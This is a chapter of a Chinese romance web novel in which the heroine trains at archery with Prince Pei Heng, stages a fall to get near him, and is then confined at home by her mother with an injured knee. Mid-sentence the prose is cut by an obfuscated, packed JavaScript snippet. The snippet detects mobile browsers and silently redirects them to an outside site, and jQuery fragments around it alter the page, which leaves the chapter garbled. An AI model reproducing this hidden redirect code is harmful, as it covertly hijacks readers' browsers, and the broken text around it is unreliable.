30. 第 30 章

作品:《倒霉女配竟是我自己

    “皇叔今日要教我射箭吗?还是咱们先学别的?我听阿熙说,她初学射箭之时,先练了一段时间的侧撑。”谢明鸾站起来,规规矩矩地立在他面前。


    想着今日要射箭,她便穿了一身窄袖长衫,发髻也梳得简单,她素日里最爱戴的各色流苏簪子珍珠步摇全都没戴出来。


    裴珩眼皮微掀:“那你也练?”


    谢明鸾猛地摇了摇头,目露惊恐:“我不是那块料吧!”


    “还是说,”她犹犹豫豫地开口,有些不好意思但又暗含期待地问道,“皇叔看出我资质非凡,将来定是一代将才,准备打磨我这块璞玉?”


    裴珩微微扯唇:“谢三小姐,人贵有自知之明。”


    行吧。


    谢明鸾悄悄做了个鬼脸,跟着他往后院走去。


    一路上她都在思考自己昨天熬夜想出来的计划究竟可不可行。


    既担心自己好不容易演一场戏裴珩却不上她的当,又担心到时候她计谋得逞却不见成效——毕竟到现在她也不知道,到底要怎么碰到裴珩,她才能做梦啊!


    她正想着,发觉裴珩停下了步子,于是自己也就跟着停下,紧接着,一把牛皮弓被递到了她眼前。


    裴珩随手从箭筒里挑出来一支箭,手握着箭簇的部分,用箭羽那头掸了掸谢明鸾的背:“站直,两脚与肩同宽,眼睛看着靶心。记住两件事,弦不空放,箭不对人。你射一箭给我看看。”


    “好呀,”谢明鸾自信满满,“其实我的箭术也很好的!小时候我和阿熙比赛,她虽胜了,但却也是险胜而已!”


    她说完,才想起来今日自己是打着什么幌子才进的燕王府,于是又补充道:“不过肯定不及皇叔啦,上次皇叔那一箭,正中刺客心脏,事后我每每回想起当时的场景,都觉得豪情激荡、荡气回肠!”


    “是么?”裴珩淡淡颔首,“那下回本王去大理寺提审刑犯,也一定让你旁观。那等场面,想必你会更难忘。”


    谢明鸾假装听不懂他话里威胁恐吓的意味,连连点头,小鸡啄米似地说:“好呀好呀!”


    她正愁找不到机会多和他待在一起呢!


    裴珩:“……”


    是他忘了,此女子最擅顺杆往上爬。


    “少废话,射箭。”他冷下脸。


    谢明鸾“噢”了一声,听他的话,搭箭拉弓,朝箭靶的方向当空射出一箭。


    而后半道上便落了下去。


    谢明鸾愣了愣,回眸看裴珩:“方才是不是起风了?”


    裴珩沉默片刻,抬眼反问:“你觉得呢?”


    谢明鸾鼓着脸:“哎呀或许是我刚刚发挥失常啦,要不我再射一箭?”


    她说着就去抽旁边箭筒里的羽箭,正要放到弦上,却被裴珩用手里的箭杆拍了一下。


    谢明鸾停住手上的动作:“怎、怎么了吗?”


    裴珩以箭羽轻压她肩膀:“前腿屈膝,脚尖正对箭靶的方向,”而后箭羽来到她左手腕底,“握住弓把,往外推。”


    谢明鸾努力忽视箭羽落在她肩头腕底时带来的细密痒意,咬着牙,左手拉弓,右手按箭:“然后呢?”


    “然后保持这个动作。”裴珩一边说,一边已去到了檐下。


    松循早已在檐下为他备好了桌椅茶点。


    谢明鸾眼睁睁地看着他坐在椅子上开始斟茶吃点心,而自己就这么被他扔在了太阳底下练习拉弓,顿时觉得整个人都不好了。


    可是、可是她还没有达成今天来这里的目的。


    谢明鸾气呼呼地抿着唇,转过了头,继续盯着面前的箭靶。


    都怪裴忌安!


    如果不是他害得她上一世家破人亡,她就不会吃这样的苦!


    她恶狠狠地将箭靶想象成裴忌安的样子,盯着箭靶的眼神也因此格外凶狠起来。


    不远处的垂野看到了,小声嘀咕道:“谢三小姐看起来气得想杀人了,怎么办啊王爷!”


    裴珩也很意外。


    他还以为谢明鸾会撂挑子不干。


    他垂下眼:“慌什么?她还能杀了你。”


    近一盏茶的时间过去,裴珩看着院子里拉着弓的少女手臂已经微微颤抖起来,她却仍然倔强地不肯喊停,只固执地盯着面前的箭靶。


    他终于大发慈悲地开口:“放下吧。过来歇会儿。”


    谢明鸾这才放了弓箭,她转过身,忽然意识到这是一个绝佳的好机会:


    裴珩就坐在那里,毫无防备。她只要走过去,假装摔倒,扑进他怀里,今天这一趟就不算白来。


    她在心里暗暗给自己打气,计算着时机,在快走到石阶前时,十分经意地趔趄了一下,猛地跪倒在石阶上。


    膝盖重重地磕下去,发出沉闷的响声。尽管谢明鸾已经疼得龇牙咧嘴,但在抬起头时,还是努力调整了仪态神情,只可惜她才调到一半,就在看清楚面前搀着她的人是谁之后僵住了脸。


    垂野还没察觉出她的神态变化,张着嘴咧着牙问道:“谢小姐你没事吧?”


    那响声,他听着都觉得疼。


    谢明鸾顺着他身旁玄色织金的锦袍往上望,裴珩正垂着眼看她,语气不咸不淡:“好端端地怎么就摔了,谢小姐也太不小心了。”


    谢明鸾:“……”


    她可太有事了。


    这个裴珩,好端端地这么小心干什么?她都没看清楚他什么时候站起来的!


    让她扑一下怎么了?她又不会缠着他要他负责。


    好气!


    谢明鸾最后是被鹤影背出王府的。


    她伤了膝盖,别说走路,就连站都站不了,箭自然没法再射。


    趴在鹤影肩头,谢明鸾像张软绵绵的水面饼一样,四肢都耷拉下去。


    她今天总算领教到了,什么叫做偷鸡不成蚀把米。


    现在好了,她不仅连裴珩的衣角都没碰到,还莫名其妙把自己膝盖给磕伤了,接下来至少三五天她来不了燕王府。


    想到这里,谢明鸾闭了闭眼。浑身怨气比鬼还重。


    *


    三小姐被


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14475323|152802||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    婢女背回琼云阁的事,顷刻间便传到了晴翠堂和绛霞轩里。


    范氏与谢明鸳听了,当即便放下手头的事,匆匆往琼云阁去。


    等到了琼云阁里,才知道原来是小姑娘一时被裙子绊住了脚,这才跌了一跤,磕到膝盖,以至于走不成路。


    谢明鸾在这时还有心情开玩笑:“我当时一跪下去,燕王就避开了。要是赶在年节时候就好了,我还能说是向他拜年。”


    那么重的响声,足以见她诚意了。可今天偏偏不年不节的。


    范氏听她说得云淡风轻,心里却不相信,将她裙子掀开,把里面的裤子往上推开,才看见她白嫩的膝盖上青紫一片,正中间那一块儿破了皮,血已经凝住了,外边一圈表皮下还隐隐渗着红血丝,看起来要多可怜有多可怜。


    谢明鸳见了,也连忙唤身边的繁蕊去取药膏来。


    “好好地做什么去学射箭?现在把膝盖射成这样,没个半月功夫都养不好。”范氏又心疼又气恼,甚至开始反省自己是不是对小女儿太娇纵了,才让她整日不知天高地厚地由着性子胡来,还学射箭,她学得明白吗?


    “不过也好,你啊,就趁这个时候在家里好好养养性子,别再出门了,省得又捞一身伤回来!”


    她打定主意,便不容人反驳,直接让人抬了步辇过来,要将谢明鸾抬去晴翠堂。


    谢明鸾死死抓着被角:“我不去!娘我就在琼云阁里也挺好的,我去了您那儿,那爹到时候怎么办呀!让他睡书房吗?”


    她要是去晴翠堂养上半个月,等她到时候能出府,黄花菜都凉了。


    她还打算过个三五日就继续去燕王府呢!


    范氏没好气道:“不用你操心,你爹今日才递了信回来,他这些日子要在宫中为陛下讲经解史,顾不上回家。”


    “阿姐……”谢明鸾转过头,哀声唤道。


    接收到她求救的目光,谢明鸳正要开口,便听娘亲道:“还叫你阿姐做什么?你要是能像你阿姐一般乖巧,我就阿弥陀佛了!”


    好好的小女孩儿,怎么就不知道疼惜自己。上回才落了水,这病才好没一个月,一双膝盖又弄得青青红红的。


    她就不相信把人放在自己眼皮子底下,还能让小女儿再出什么事来。


    谢明鸾见娘亲心意已决,知道自己再怎么挣扎也没有用了,她小心翼翼地扯了扯娘亲的衣角,朝她讨好地笑道:“我听话就是了,娘您别生气了。我什么都听您的。”


    范氏哪里是生她的气,说到底不过是气自己,没看好女儿。


    去了晴翠堂里,一连几日,谢明鸾都被拘在屋子里,哪儿也不能去。膝盖上的伤口已经结了厚厚一层痂,看起来丑得不行。


    除了落水昏迷那几日,打谢明鸾记事起,她还没在家里待这么长时间,甚至中间一次也没出去过。


    正当她觉得自己在屋子里都快发霉了的时候,芳尘带来了一个好消息:


    回乡探亲的妇科圣手宋医婆,今日回定京了。下午便能上门为小姐诊脉。